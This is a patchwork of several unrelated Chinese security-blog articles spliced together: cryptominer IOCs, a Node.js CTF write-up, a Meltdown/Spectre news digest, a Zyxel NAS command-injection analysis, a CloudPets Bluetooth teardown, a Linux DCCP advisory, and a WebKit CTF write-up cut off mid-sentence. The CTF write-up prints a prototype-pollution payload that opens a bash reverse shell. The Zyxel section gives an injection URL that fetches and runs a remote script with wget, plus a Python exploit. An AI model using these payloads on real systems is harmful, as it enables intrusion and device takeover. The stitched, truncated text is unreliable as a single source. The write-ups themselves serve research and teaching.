有善必有恶，这句话也符合加密货币的快速发展。这个全新的领域，混合了前沿的加密算法和抽象的经济观点，人们很难抵御通过非法手段谋取利益的诱惑。当下，加密货币尚未完善，通过backlist主机和端口组合就可以成功地阻挡大部分挖矿机。然而，我们预测挖矿恶意软件将变得更加成熟，也会在防火墙和IPSIDS产品上实验。幸运的是，就如同其他常见的恶意软件一样，它们越想隐蔽，Minerva的反入侵平台就越能够高效地封锁它们。
**
**
**IOCs**
**IP**
·93[.]188[.]160[.]90
·92[.]53[.]96[.]133
**Hashes (SHA-256)**
·1852bf95b91bc50fb10cd0388595d88ce524dca9607aa3621e7b2587f326ec9d (original
mod)
·b23ce6a8af6cbf7dae517f6736aa69c451347f6b5e7e66d5a1339a4d74e10e66 (WaterMiner
downloader)
·715c3a8f7d5cd921b321a4fa180862315846f408b903d9d2888ae95912dbb9ca (payload)
·db4f825732f27f1163367226c7d565714455f3f51c1cdbd858ed4a0b2335515b (older
payload)
·f5f762a56578a939623da00d8a7bd857c10432b6623d335da20731f9a1b131ba (older
payload)
·1347fbbb5f0c41a27dd06d4d02588e72cd1c8ba6dd609ae15d042895ed1211e9 (older
payload)
·83cfa3f13e6e851c670e491ea29feafa98cb9554fb0458b4897b20b5b0598be2 (older
payload)
**Process Names**
·Intel(R) Security Assistent.exe
**URLs**
**·Downloader:**
hxxps://goo[.]gl/MWTs3Y
hxxps://drive[.]google.com/uc?authuser=0&id=0B04cozXxVfySSGN6UEZfb2xpZms&export=download
**·Payload delivery:**
hxxp://cw36634[.]tmweb[.]ru
hxxp://0psofter[.]esy[.]es | 社区文章 |
首先，出题背景是公司要求我出一道简单的ctf题目，正好我最近在学习nodejs相关的东西，于是我就出了这道题目，题目源码，我已经打包上传到了GitHub上，如果有兴趣，可以下载下来，研究一下
这个题目开局是一个登陆页面
在这里你会想到什么呢？爆破？nononono~
你要想到的是这是一道nodejs的题目啊，js本身就是一种弱类型语言，所以，你可以改变数据类型，来看看它会不会产生非预期的效果，你可以参考我以前翻译的过的文章
<https://blog.csdn.net/niexinming/article/details/84889275>
这篇文章中就介绍如何通过改变数据类型来绕过登录，所以，这个题目通过如下的方式就可以绕过登录：
首先抓包：
然后，修改用户名密码为数组,因为用户名和密码都是数组的第一个，所以只要把用户名和密码改成
{"user":[0],"passwd":[0]}，就可以绕过登录
绕过登录之后，发现有一个地址，打开这个地址：<http://106.75.10.182:3000/kfhkhkdsdshalkhkhaklhlahlkkhdfklhhjkhgdajgfhjaghghjasgfjh//jflkdsajklfjsakljfjkhkjhdsfgasdyuuyueuwguguiuidgffddjfj.js>
发现是nodejs后端的源码：
可以看到这个题目可以通过控制host参数去改变mysql的连接地址，这里有个mysql客户端任意文件读取的问题，可以参考这个文章：<https://blog.csdn.net/ls1120704214/article/details/88174003>
但是如果直接在json中传递{“host”:””},根本不会有任何效果，因为我在57行写了过滤
if (body.host != undefined) {
如果发现有直接传递进来的host参数，nodejs就报错退出，所以，通过仔细观察源代码，发现这个代码有参数污染问题，关于参数污染，可以参考这篇文章：
<https://www.4hou.com/technology/16328.html>
所以就可以通过构造如下参数去改变host参数，把host参数变成我们自己mysql服务器的地址
首先，我要先把我服务器中的Rogue-mysql-Server 的rogue_mysql_server.py 中的filelist改成flag的地址
然后启动我的这个恶意的mysql服务器：
之后，我把host地址通过参数污染的方式改到我的这台服务器：
发送数据包后，我的服务器中收到了一个请求：
然后，去查看日志,就会看到flag
一个小插曲，因为我刚刚接触nodejs，所以，没有意识到里面其实有很多安全问题，我在出题的过程中错误的使用了nodejs的模板，导致Virink师傅用一个payload就把我的服务器给打下来了(拿下了服务器的控制权)，通过跟virink
的交流我也学到了很多东西，最后我兑现了我的承诺，给师傅发了一个大红包
下面是virink的payload，发出来给大家学习
{"user":"test","passwd":"test","__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/xxx.xxx.xxx.xx/6666 0>&1\"');var __tmp2"}}
后来我把这个漏洞修复了，等了两周，再也没有人做出来 | 社区文章 |
# 1月4日安全热点 – Intel CPU严重设计缺陷/Meltdown/Spectre漏洞
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 资讯类
Intel处理器被曝存在严重设计缺陷
（Intel处理器芯片基础架构中被爆存在一个严重的设计缺陷。受此影响，Linux以及Windows不得不大幅改动、重新设计内核。Linux内核的修复代码已经公布，而微软将在下周二补丁日发布Windows补丁。）
<https://www.anquanke.com/post/id/93455>
Google称几乎所有1995年以来的CPU都受”Meltdown” 和 “Spectre”漏洞影响
<https://www.bleepingcomputer.com/news/security/google-almost-all-cpus-since-1995-vulnerable-to-meltdown-and-spectre-flaws/>
<https://security.googleblog.com/2018/01/todays-cpu-vulnerability-what-you-need.html?m=1>
视频演示：
您的浏览器不支持video标签
Google Project Zero团队发布了该CPU漏洞的详细描述
<https://googleprojectzero.blogspot.co.uk/2018/01/reading-privileged-memory-with-side.html?m=1>
据说是该CPU “Meltdown” 和 “Spectre”漏洞的PoC
<https://github.com/turbo/KPTI-PoC-Collection>
“Meltdown” 和 “Spectre”漏洞的区别（ **Meltdown** 只针对Intel，而 **Spectre适用于** Intel,
ARM, 和AMD 处理器）
<https://danielmiessler.com/blog/simple-explanation-difference-meltdown-spectre/>
### 各厂商/平台发布针对此次CPU漏洞的安全公告
ARM：<https://developer.arm.com/support/security-update>
Android: <https://source.android.com/security/bulletin/2018-01-01>
Chromium发布Meltdown/Spectre漏洞的缓解措施：<https://www.chromium.org/Home/chromium-security/ssca>
Firefox：<https://blog.mozilla.org/security/2018/01/03/mitigations-landing-new-class-timing-attack/>
微软：<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/ADV180002>
<https://support.microsoft.com/en-us/help/4056892/windows-10-update-kb4056892>
英伟达/NVIDIA: <https://forums.geforce.com/default/topic/1033210/geforce-drivers/nvidias-response-to-speculative-side-channels-cve-2017-5753-cve-2017-5715-and-cve-2017-5754/>
Google移除掉Play Store的36个冒充是安全防护软件的app
（实际上，这些应用程序包含的代码主要是显示虚假的安全警报，显示广告，并秘密收集个人数据。）
<https://www.bleepingcomputer.com/news/security/google-removes-36-fake-android-security-apps-packed-with-adware/>
来自趋势科技的分析：
<http://blog.trendmicro.com/trendlabs-security-intelligence/apps-disguised-security-tools-bombard-users-ads-track-users-location/>
## 技术类
NSA的 ExplodingCan exploit的Python实现
<https://github.com/danigargu/explodingcan> | 社区文章 |
# zyxel nas CVE-2020-9054 漏洞分析
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 一、漏洞概述
CVE-2020-9054是由于可执行文件weblogin.cgi在身份验证期间未正确过滤username参数造成的，导致攻击者可以在传递给此文件的用户名中包含某些特殊字符来触发漏洞，进而以webserver的权限实现命令注入。
## 二、漏洞分析
官网下载Zyxel
NAS326_V5.21(AAZF.0)C0版本固件，使用binwalk直接解包即可，定位到weblogin.cgi,使用ida打开ext-root-bin.cgi
通过
gcgiFetchStringNext("username", username, 63)
获取用户名，长度63（不知道输入超过63个行不行） 然后进入
if ( user_auth(username, (int)password, (int)remote_addr, (int)v18, nptr, v8) >= 0 )// pam_authenticate()
调用
v20 = pam_authenticate(v18, 0x8000);
查找 pam_sm_authenticate() 函数
ubuntu@ubuntu:~/Desktop/zyxel/nas/NAS326_V5.21(AAZF.0)C0/_521AAZF0C0.bin.extracted/_71BEA9.extracted/ext-root$ grep "pam_sm_authenticate" -r
Binary file usr/lib/libpam.so.0.83.1 matches
Binary file lib/security/pam_pidhome.so matches
Binary file lib/security/pam_auth_admin.so matches
Binary file lib/security/pam_guestok.so matches
Binary file lib/security/pam_cloud_step2.so matches
Binary file lib/security/pam_smbpass.so matches
Binary file lib/security/pam_nologin.so matches
***Binary file lib/security/pam_uam.so matches***
Binary file lib/security/pam_cloud_step1.so matches
定位文件lib/security/pam_uam.so，ida打开如下：
snprinf（） 格式化username时，未作过滤，导致命令注入
## 三、漏洞利用
由于漏洞执行命令不能回显，使用下载执行，进行反弹：
POST http://ip/adv./cgi-bin/weblogin.cgi?username=admin';cd /tmp;wget http://xxx.xxx.xxx.xxx/re;sh re #&password=aaa
import requests
import sys
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
def exec_command(url, command):
injection = "admin';%s #" %(command)
data = {"password": "asdf",
"username": injection}
try:
r = requests.post(url=url, data=data, verify=False)
except Exception as e:
print (e)
print(r.text)
if __name__ == "__main__":
target = "https://x.x.x.x/r51201,/desktop,/cgi-bin/weblogin.cgi"
#for test
cmd ="wget x.x.x.x;"
exec_command(target, cmd)
有些网站的目录不一定时/adv./，需要自己登录访问观察下。
## 四、补丁对比
## 参考
请及时更新固件！能利用CVE-2020-9054的Mirai新变种来袭：
https://www.6cu.com/seoxuetang/kj/2020/0328/47808.html
PAM详解：
http://blog.chinaunix.net/uid-29479952-id-5761558.html
poc test: https://kb.cert.org/artifacts/cve-2020-9054.html | 社区文章 |
# 【技术分享】通过web蓝牙黑掉独角兽玩具
|
##### 译文声明
本文是翻译文章，文章来源：contextis.com
原文地址：<https://www.contextis.com/resources/blog/hacking-unicorns-web-bluetooth/>
译文仅供参考，具体内容表达以及含义原文为准。
****
翻译：[WisFree](http://bobao.360.cn/member/contribute?uid=2606963099)
预估稿费：200RMB
投稿方式：发送邮件至[linwei#360.cn](mailto:[email protected])，或登陆[网页版](http://bobao.360.cn/contribute/index)在线投稿
**前言**
在过去的几个月里，我们一直都在分析CloudPets玩具的安全问题。近期，安全研究专家还发现了一个存在安全问题的MongoDB服务器，而这台存在漏洞的服务器将有可能泄漏数百万CloudPets客户的隐私数据。但是我们的研究针对的是玩具本身，准确说来，我们研究的是玩具低功耗蓝牙的安全问题。
**蓝牙的安全问题**
实际上，我们一直都对低功耗蓝牙（Bluetooth
LE）的安全性非常感兴趣，我们此前还专门开发了一款名叫[RaMBLE](https://play.google.com/store/apps/details?id=com.contextis.android.BLEScanner)的Android
App来扫描BLE设备，而且我们也为很多客户测试过蓝牙设备的安全性。近期，我发现了一个非常有意思的低功耗蓝牙设备，于是我打算对它进行一次逆向分析。在这篇文章中，我将会把我在逆向分析BLE协议时所用到的部分工具和技术介绍给大家，而且我还专门使用Chrome的新型Web蓝牙API写了一个Web页面来连接并控制蓝牙设备。
我习惯在上下班的路上开着RaMBLE来扫描各种设备，当时除了普通的健康手环和无线耳机之外，我还发现了一个名叫“CloudPets B
1.0.19”的玩意儿。出于好奇，我果断Google了一下这个名字，然后搜索出了一大堆可爱的玩具，而这些玩具全部是使用低功耗蓝牙来与智能手机App进行通信的。
这款玩具的设计意图是，朋友或亲属可以使用CloudPets的智能手机App记录下一段语音信息并将其发送至家长的手机App中。接下来，App会通过蓝牙LE将这段语音发送给玩具。当小孩子按压动物玩具的右爪时，玩具便会播放这段语音消息。此时，孩子也可以按下玩具的另一只爪子来录下自己的声音，App通过蓝牙接受到孩子的录音之后便会将其发送给朋友或亲属。
因此，我认为这种带有混合功能和低功耗蓝牙的玩具是非常适合进行逆向工程分析的。
**购买前的研究**
这也不是我第一次购买蓝牙设备了，但是在真正购买之前，我打算上网研究一下这款玩具到底有多高的技术含量。
作为一款能够在美国地区购买到的无线设备，这款设备肯定已经通过了联邦通信委员会（FCC）的测试。[FCC文档](https://fccid.io/2AD3BJAP85110)给我提供了很多有用的信息，包括玩具的内部结构图、数据表和各种照片（包括拆解图）在内。
我们可以从FCC的记录文件中了解到，这款玩具使用的是德克萨斯仪器的CC2541低功耗蓝牙和一个松翰科技的SNC7232声音处理器。CC2541蓝牙使用的是Intel
8051微控制器架构和256KB的可编程闪存存储器，而且还有2MB额外的闪存空间用来存储语音消息。
情报收集完毕，接下来就是购买这款价值12英镑的独角兽玩具了。
**分析广播数据**
通过官方App将玩具设置好之后，我决定先看看这个玩具一开始会向外广播什么数据。
大多数低功耗蓝牙（BLE）设备会通过向外广播数据包来让周围设备感知到它的存在。这种“广播数据包”中包含有设备地址和名称等数据，一般我都会使用我们自己的RaMBLE
App来查看蓝牙设备的“广播数据包”，但是你也可以选择[Nordic nRF Connect
App](https://play.google.com/store/apps/details?id=no.nordicsemi.android.mcp&hl=en_GB)（可提供更多详细信息）。这款玩具的广播数据包结构如下：
设备地址（Address）是由德克萨斯仪器在出厂时分配好的，用来表示这个蓝牙设备是由他们制造的。标识符（Flags）表示该设备仅支持低功耗蓝牙（BLE），而且不支持之前传统的蓝牙协议。制造商数据（Manufacturer
Data）的用处比较多，它包含有德克萨斯仪器的数据（由下划线分割），这部分内容我们待会儿在谈。
**发现服务**
低功耗蓝牙设备使用的是[GATT通用属性协议](https://learn.adafruit.com/introduction-to-bluetooth-low-energy/gatt)，每一台设备都有一份GATT
profile，并描述了该设备所支持的服务。当一台智能手机首次与该BLE设备连接之后，手机会获取一份名叫“service
discovery”（服务发现）的列表，该列表中记录有蓝牙设备的功能特性以及它所支持的服务。在nRF Connect App的帮助下，我发现了下列服务：
我们的独角兽玩具提供了四种服务：前两个是大多数BLE设备都支持的。第三个是[德克萨斯仪器的固件更新服务](http://processors.wiki.ti.com/images/8/82/OAD_for_CC254x.pdf)，该服务允许设备通过BLE来更新固件。我Google了第四个服务的UUID之后并没有搜索到任何内容，所以我猜这个服务是CloudPets的App用来控制玩具功能的。每一个GATT服务都包含有一种或多种功能特性，在与设备进行通信时，我们需要读取或写入其中的某些功能特性域。
我们可以从表中的“[user
description](https://www.bluetooth.com/specifications/gatt/viewer?attributeXmlFile=org.bluetooth.descriptor.gatt.characteristic_user_description.xml)”（用户描述）了解到每一种功能特性的用途。但如果想要深入了解这些功能的话，还需要下一些功夫。为了了解这些特性的工作机制，我采用了两种分析方法：一种是对CloudPets
App的源码进行反编译，另一种是记录并分析设备的蓝牙通信数据。
**反编译**
首先，我使用ADB将CloudPets的APK文件从我的手机中提取出来：
$ adb shell pm list packages | grep cloudpets
package:com.spiraltoys.cloudpets2
$ adb shell pm path com.spiraltoys.cloudpets2
package:/data/app/com.spiraltoys.cloudpets2-1/base.apk
$ adb pull /data/app/com.spiraltoys.cloudpets2-1/base.apk cloudpets.apk
[100%] /data/app/com.spiraltoys.cloudpets2-1/base.apk
接下来，我需要使用jadx工具来完成apk的反编译，并得到Java源码：
$ jadx -d cloudpets-decomp cloudpets.apk
得到源码之后，我便将其导入Android
Studio中，这些代码并没有进行混淆处理，而且大多数类名、方法名和变量名都是完整的。首先我搜索的是“Characteristic
UUID”，然后发现了ToyPeripheral类，如下图所示：
接下来，我准备研究一下用于对指令进行编码的类。我首先从一个比较简单的函数入手，这是ToyTasakSetLedState类中用于处理LED的代码：
我们可以看到LED特性需要一个长度为5个字节的值，格式大致如下：
我可以用nRF Connect App来手动写入一个值，并验证其运行机制：
接下来我研究的是“Config”（配置特性），它控制的是玩具广播的制造商数据，当玩具首次配置完成之后，这部分数据就已经写入设备了，例如该玩具是哪种动物以及配置日期和时间等等：
还记得之前广播数据包中的字符串“0411_01_19_09_38”吗？其中的“04”表示我们的玩具是“Starburst the
Unicorn”（独角兽），剩下的数据表示该玩具激活时间为11月1日的19点09分38秒（我第一次用RaMBLE发现的那个玩具原来是“Bentley the
Bear”（ 宾利熊））。
接下来就是“Command”（命令控制特性）了。从源代码中可以看到，总共有5个位置（slot）可以存储语音信息。通常来说，slot
2用来存储玩具从app那里收到的语音，slot 1用来存储玩具麦克风录下的语音。其他的slot一般用来存储动物的模仿音。语音回放指令的结构如下所示：
第一个字节“08”是常量“COMMAND_SEND_SNC7232_COMMAND”，下一个字节“01”为“SNC7232_COMMAND_PLAY_SLOT”。根据FCC文档提供的信息，SNC7232为玩具所使用的音频芯片的型号。
有趣的是，app只会给SNC芯片发送“01”命令，而且源码中也没有其他与SNC7232有关的常量了。那么它还支持其他的指令吗？所以，我尝试向其发送“08
02”命令，我发现这个命令会悄悄地激活玩具的音频记录功能。一般情况下，我们需要按下动物玩具的爪子才能激活语音记录功能，而且此时玩具的LED灯会亮起。但是这个“08
02”命令可以允许我在保持LED不亮的情况下记录时长40秒的语音信息。
发送和接收语音消息
这样一来，我就可以将这个玩具变成一个远程监听设备了，但问题是如何才能获取到我悄悄记录下的语音信息呢？
Android GATT API是异步的，所以我们就可以通过检查源码来了解程序的执行步骤。通过开启Android设备的“Bluetooth HCI
snoop
log”功能，我们就可以在“/sdcard/btsnoop_hci.log”文件中看到设备的蓝牙命令和数据了。我们可以使用ADB获取日志文件，然后用WireShark来查看。
在使用App上传和下载语音文件的时候我们记录下了大量日志。从玩具中下载语音的步骤大致如下：
1、启用“接收语音”的通知；
2、发送“02”命令；
3、等待“state”（状态特性）变为“07”（语音下载）；
4、玩具将会发送一个16字节长的通知信息给“receive audio”（接收语音功能）；
5、等待“状态特性”变为“01”；
6、接收并解码音频。
上传语音的步骤与之相似，玩具使用“send audio”（发送音频功能）来发送数据块，并通过“data request”来进行流控制。
**Web蓝牙**
实际上，Web蓝牙是一套允许Web浏览器通过GATT协议与低功耗蓝牙设备进行交互的规范标准。Chrome
56及其以上版本默认开启了该功能，但是其他浏览器目前还不支持这个功能。在使用的过程中，用户必须明确指定一个需要连接的设备，如下图所示：
既然我已经知道了玩具的工作机制，那么我就可以将所有的控制命令整合进一个单独的Web页面中，这个Web页面可以做到以下几点：
1、控制玩具的LED灯
2、回放5个slot中存储的任意音频
3、使用手机的Media API记录音频，然后发送给玩具
4、远程触发录音功能
5、下载录音文件并在手机上播放
Web蓝牙的好处就是你可以不用安装任何的App，并仅仅通过浏览器就能控制蓝牙设备。
**该项目源码已经上传到了GitHub上，感兴趣的用户可以自行下载查看**
【[GitHub传送门](https://github.com/pdjstone/cloudpets-web-bluetooth)】。 | 社区文章 |
# 【漏洞预警】雪藏11年：Linux kernel DCCP double-free 权限提升漏洞（CVE-2017-6074）
|
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
**漏洞描述**
漏洞编号：CVE-2017-6074
漏洞发现者：Andrey Konovalov
漏洞危害：通过非特权进程获得内核代码执行进而提升权限
影响范围：Linux内核版本>2.6.18(2006年9月)。但DCCP(数据报拥塞控制协议)最早是在05年10月的Linux内核版本2.6.14中支持的。目前该漏洞与2017年2月17修复。详情请参看
<https://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=5edabca9d4cff7f1f2b68f0bac55ef99d9798ba4>
**漏洞细节**
数据报拥塞控制协议（DCCP）是一个针对传输层中UDP的新传输的协议而发展出来，用来传输实时业务。他是一个可以进行[拥塞控制的非可靠传输协议](https://zh.wikipedia.org/w/index.php?title=%E6%8B%A5%E5%A1%9E%E6%8E%A7%E5%88%B6%E7%9A%84%E9%9D%9E%E5%8F%AF%E9%9D%A0%E4%BC%A0%E8%BE%93%E5%8D%8F%E8%AE%AE&action=edit&redlink=1
"拥塞控制的非可靠传输协议（页面不存在）")，并同时提供多种拥塞控制机制，在通信开始时由用户进行协商选择。
更多详细的介绍说明：
<https://www.kernel.org/doc/Documentation/networking/dccp.txt>
<http://www.read.cs.ucla.edu/dccp/>
这个漏洞需要内核编译的时候开启CONFIG_IP_DCCP ，许多linux发行版本默认开启。
在当前DCCP实现中，如果dccp_rcv_state_process中的dccp_v6_conn_request返回“成功” ,dccp_type
为DCCP_PKT_REQUEST的packet的skb会被__kfree_skb强制释放。
但是，如果在socket上设置IPV6_RECVPKTINFO，则skb地址会被保存在ireq->
pktopts，然后dccp_v6_conn_request中会增加skb的引用计数，所以skb仍在使用中。然而，它仍然会在dccp_rcv_state_process中被释放。
修复的方式是调用consume_skb，它占用skb->users，而不是跳转到discard 然后调用__kfree_skb。
diff –git a/net/dccp/input.c b/net/dccp/input.c
index ba34718..8fedc2d 100644
— a/net/dccp/input.c
+++ b/net/dccp/input.c
int dccp_rcv_state_process(struct sock *sk, struct sk_buff *skb,
struct dccp_hdr *dh, unsigned int len)
{
struct dccp_sock *dp = dccp_sk(sk);
struct dccp_skb_cb *dcb = DCCP_SKB_CB(skb);
const int old_state = sk->sk_state;
int queued = 0;
if (sk->sk_state == DCCP_LISTEN) {
if (dh->dccph_type == DCCP_PKT_REQUEST) {
if (inet_csk(sk)->icsk_af_ops->conn_request(sk,
skb) < 0)
return 1;
- goto discard;
+ consume_skb(skb);
+ return 0;
}
if (dh->dccph_type == DCCP_PKT_RESET)
goto discard;
/* Caller (dccp_v4_do_rcv) will send Reset */
dcb->dccpd_reset_code = DCCP_RESET_CODE_NO_CONNECTION;
return 1;
} else if (sk->sk_state == DCCP_CLOSED) {
dcb->dccpd_reset_code = DCCP_RESET_CODE_NO_CONNECTION;
return 1;
}
要利用这个 double-free，可以把它转变成一个 use-after-free：
//第一次释放
kfree(dccp_skb)
//在与dccp_skb相同的位置分配的另一个对象：
some_object = kmalloc()
//第二次释放，实际释放的是some_object对象
kfree(dccp_skb)
此时some_object持有一个悬空指针，如此就构造出了一个UAF。攻击者可以控制对象，同时可以通过使用内核堆喷射技术写入任意数据到被覆盖对象。
如果被覆盖的对象有任何可触发的函数指针，攻击者可以在内核中执行任意代码。
**Linux各发行版本对于该漏洞相关信息**
**debian** ：<https://security-tracker.debian.org/tracker/CVE-2017-6074>
**redhat** ：<https://rhn.redhat.com/errata/RHSA-2017-0295.html>
**ubuntu** ：<http://people.canonical.com/~ubuntu-security/cve/2017/CVE-2017-6074.html>
**suse** ：<https://www.suse.com/security/cve/CVE-2017-6074/>
**PoC**
[**https://github.com/xairy/kernel-exploits/tree/master/CVE-2017-6074**](https://github.com/xairy/kernel-exploits/tree/master/CVE-2017-6074)
**
**
**修复建议**
建议用户通过系统更新到最新发行版修复此漏洞
**参考**
<http://www.openwall.com/lists/oss-security/2017/02/22/3>
<https://zh.wikipedia.org/wiki/%E6%95%B0%E6%8D%AE%E6%8B%A5%E5%A1%9E%E6%8E%A7%E5%88%B6%E5%8D%8F%E8%AE%AE>
<http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=2017-6074>
<https://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=5edabca9d4cff7f1f2b68f0bac55ef99d9798ba4>
<https://www.kernel.org/doc/Documentation/networking/dccp.txt>
<http://www.read.cs.ucla.edu/dccp/> | 社区文章 |
# Realworld ctf 2019 final webkit FastStructCache 复现
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
学习 Webkit 的漏洞利用，19年realworld ctf final 出了一道 webkit 的题目 `FastStructCache`,
这里记录一下复现的过程。
完整的漏洞利用链需要逃逸webkit的沙箱，我手上木有mac，虚拟机装mac测试又是各种的问题，各种倒腾之后放弃了后半部的沙箱逃逸的利用，暂时只做了前面
jsc 部分的利用分析，等什么时候搞台mac之后回过头来看 🙁
## 环境配置
题目的原始文件可以从[这里](https://github.com/5lipper/ctf/tree/master/rwctf19-final/FastStructureCache)
下载，复现的环境是在 ubuntu 1804 下，
webkit 版本是 `commit 5ed80f740ac7b67ca9ddc43aae401bacc685c5e4`,
下载源码之后打上对应的patch然后编译出 jsc 就行了。但是我编译 debug 版本的时候跑不起来，会提示structureID
错误之类的，编译成Release版本就没有问题。调试用的 gdb
我自己复现用到的文件都放在了[这里](https://github.com/rtfingc/cve-repo/tree/master/0x06-realworldctf2019-final-faststructcache-side-effect),
包括存在漏洞和没有漏洞的两个版本，主要是方便自己运行比较。
## 漏洞分析
### patch 分析
好的，我们看看给出的patch, 题目在`Source/JavaScriptCore/runtime`
下新创建了两个文件`FastStructureCache.cpp`和`FastStructureCache`,
添加了一个名为`FastStructureCache` 的类
--- /dev/null
+++ b/Source/JavaScriptCore/runtime/FastStructureCache.cpp
@@ -0,0 +1,10 @@
+#include "FastStructureCache.h"
+
+namespace JSC {
+
+FastStructureCache::FastStructureCache(VM& vm, Structure* structure)
+ : JSNonFinalObject(vm, structure)
+{
+}
+
+}
这个类只有一个`createStructureFastPath` 方法, 初始化的时候会创建`fastCacheSizeMax == 16` 个
`Structure` 对象，保存在`fastCacheStructure` 里面，后面每次调用`createStructureFastPath`
直接就从这个cache 里面拿一个，如果拿完了的话就用`Structure::create` 新创建一个。
--- /dev/null
+++ b/Source/JavaScriptCore/runtime/FastStructureCache.h
//...
+class FastStructureCache final : public JSNonFinalObject {
+public:
+ using Base = JSNonFinalObject;
+ static Structure** fastCacheStructure;
+ static uint64_t fastCacheSizeMax;
+ static uint64_t fastCacheSizeUsed;
+
+ static Structure* createStructureFastPath(VM& vm, JSGlobalObject* globalObject, JSValue prototype, const TypeInfo& typeInfo, const ClassInfo* classInfo)
+ { // 初始化 --> fastCacheSizeMax == 16
+ if (fastCacheStructure == NULL) {
+ fastCacheStructure = new Structure*[fastCacheSizeMax];
+ uint64_t idx = 0;
+ while (idx < fastCacheSizeMax) {
+ // Later, we will set the correct globalObject and prototype
+ fastCacheStructure[idx] = Structure::create(vm, globalObject, prototype, typeInfo, classInfo);
+ idx++;
+ }
+ }
+ if (fastCacheSizeUsed < fastCacheSizeMax) {
+ Structure* return_value = fastCacheStructure[fastCacheSizeUsed];
+ // set the correct global object and prototype
+ return_value->setPrototypeWithoutTransition(vm, prototype);
+ return_value->setGlobalObject(vm, globalObject);
+ fastCacheSizeUsed += 1;
+ return return_value;
+ }
+ return Structure::create(vm, globalObject, prototype, typeInfo, classInfo);
+ }
+
+protected:
+ FastStructureCache(VM&, Structure* structure);
+};
`RegExpObject` 和`RegExpPrototype` 两个对象`createStructure`
都换成了用`FastStructureCache::createStructureFastPath` 来
--- a/Source/JavaScriptCore/runtime/RegExpObject.h
+++ b/Source/JavaScriptCore/runtime/RegExpObject.h
//...
class RegExpObject final : public JSNonFinalObject {
//...
static Structure* createStructure(VM& vm, JSGlobalObject* globalObject, JSValue prototype)
{
- return Structure::create(vm, globalObject, prototype, TypeInfo(RegExpObjectType, StructureFlags), info());
+ return FastStructureCache::createStructureFastPath(vm, globalObject, prototype, TypeInfo(RegExpObjectType, StructureFlags), info());
}
//........................................................................................
--- a/Source/JavaScriptCore/runtime/RegExpPrototype.cpp
+++ b/Source/JavaScriptCore/runtime/RegExpPrototype.cpp
+Structure** FastStructureCache::fastCacheStructure = NULL;
+uint64_t FastStructureCache::fastCacheSizeMax = 16;
+uint64_t FastStructureCache::fastCacheSizeUsed = 0;
//........................................................................................
--- a/Source/JavaScriptCore/runtime/RegExpPrototype.h
+++ b/Source/JavaScriptCore/runtime/RegExpPrototype.h
static Structure* createStructure(VM& vm, JSGlobalObject* globalObject, JSValue prototype)
{
- return Structure::create(vm, globalObject, prototype, TypeInfo(ObjectType, StructureFlags), info());
+ return FastStructureCache::createStructureFastPath(vm, globalObject, prototype, TypeInfo(ObjectType, StructureFlags), info());
}
总的来说就是预先分配了16个 `Structure` 对象，`RegExpPrototype` 和 `RegExpObject` 要创建的时候可以从里面拿。
### 漏洞分析
漏洞就发生在`FastStructureCache::createStructureFastPath` 的实现上啦，在获取`Structure`
对象的时候, 直接用`setPrototypeWithoutTransition` 设置`prototype`
return_value->setPrototypeWithoutTransition(vm, prototype);
return_value->setGlobalObject(vm, globalObject);
原版本的`Structure::create`
实现在[`Source/JavaScriptCore/runtime/StructureInlines.h#L39`](https://github.com/WebKit/webkit/blob/5ed80f740ac7b67ca9ddc43aae401bacc685c5e4/Source/JavaScriptCore/runtime/StructureInlines.h#L39)
上
inline Structure* Structure::create(VM& vm, JSGlobalObject* globalObject, JSValue prototype, const TypeInfo& typeInfo, const ClassInfo* classInfo, IndexingType indexingModeIncludingHistory, unsigned inlineCapacity)
{
ASSERT(vm.structureStructure);
ASSERT(classInfo);
if (auto* object = prototype.getObject()) {
ASSERT(!object->anyObjectInChainMayInterceptIndexedAccesses(vm) || hasSlowPutArrayStorage(indexingModeIncludingHistory) || !hasIndexedProperties(indexingModeIncludingHistory));
object->didBecomePrototype();
}
Structure* structure = new (NotNull, allocateCell<Structure>(vm.heap)) Structure(vm, globalObject, prototype, typeInfo, classInfo, indexingModeIncludingHistory, inlineCapacity);
structure->finishCreation(vm);
return structure;
}
在创建的时候会检查传进来的 `prototype` 是不是一个对象，如果是的话，需要调用`didBecomePrototype`
给这个对象设置一个flags，表示它已经是某个对象的`prototype` 了，如`a=[1.1] ; b = [1.1];` ，`a.__proto__
= b` 的时候， b 就会调用`didBecomePrototype` ， 它的实现如下:
//.. Source/JavaScriptCore/runtime/JSObjectInlines.h
inline void JSObject::didBecomePrototype()
{
setPerCellBit(true);
}
// Source/JavaScriptCore/runtime/JSCellInlines.h
inline void JSCell::setPerCellBit(bool value)
{
if (value == perCellBit())
return;
if (value)
m_flags |= static_cast<TypeInfo::InlineTypeFlags>(TypeInfoPerCellBit);
else
m_flags &= ~static_cast<TypeInfo::InlineTypeFlags>(TypeInfoPerCellBit);
}
// Source/JavaScriptCore/runtime/JSTypeInfo.h
static constexpr unsigned TypeInfoPerCellBit = 1 << 7;
`m_flags` 是 `JSCell` 的 倒数第二个byte, `1<<7 = 0x80` 如下面的`0x0180170000001715` 倒数第二个
byte 就是 `0x80`， 表示它可能是某个对象的`prototype`, `0x01001700000009e3` 没有设置就不是啦。
0x7fffb26d8020: 0x01001700000009e3 0x00007fe0197f0208
0x7fffb26d8030: 0x0180170000001715 0x00007fe0197fc5e8
`FastStructureCache` 初始化的时候都是使用的同一个`prototype` 来创建`Stucture` 对象，
后面要用的时候也是直接用`setPrototypeWithoutTransition` 来设置，并检查调用`didBecomePrototype`
的过程，所以假如还是一样`a=[1.1] ; b = [1.1];` ，`a.__proto__ = b` ， 执行结束之后 b JSCell 的
`m_flags` 并不会`|0x80`, 后续运行就可能会打破一些假设。
### RegExp Structure 创建过程
在看实际的利用之前，我们先看看 `RegExpObject` 的 `Structure`
